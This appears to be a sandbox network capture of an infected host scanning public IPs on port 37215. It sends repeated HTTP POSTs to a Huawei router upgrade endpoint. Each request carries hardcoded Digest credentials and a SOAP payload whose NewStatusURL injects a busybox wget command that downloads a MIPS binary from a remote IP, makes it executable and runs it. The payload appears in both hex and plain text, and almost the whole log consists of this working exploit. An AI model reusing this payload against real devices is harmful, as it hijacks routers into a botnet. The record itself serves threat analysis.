Jun 10, 2024 15:38:00.208229065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	42074	156.250.0.84	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.208966017 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	46028	156.46.209.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.209800005 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	50210	156.62.210.214	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.210637093 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	45922	156.25.179.14	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.211497068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	55900	197.128.202.20	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.212308884 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	44874	197.126.47.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.213145971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	58106	197.144.113.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.213967085 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	50926	197.29.244.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.214767933 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	57534	156.166.206.200	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.215590000 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	34482	41.10.140.61	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.216411114 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 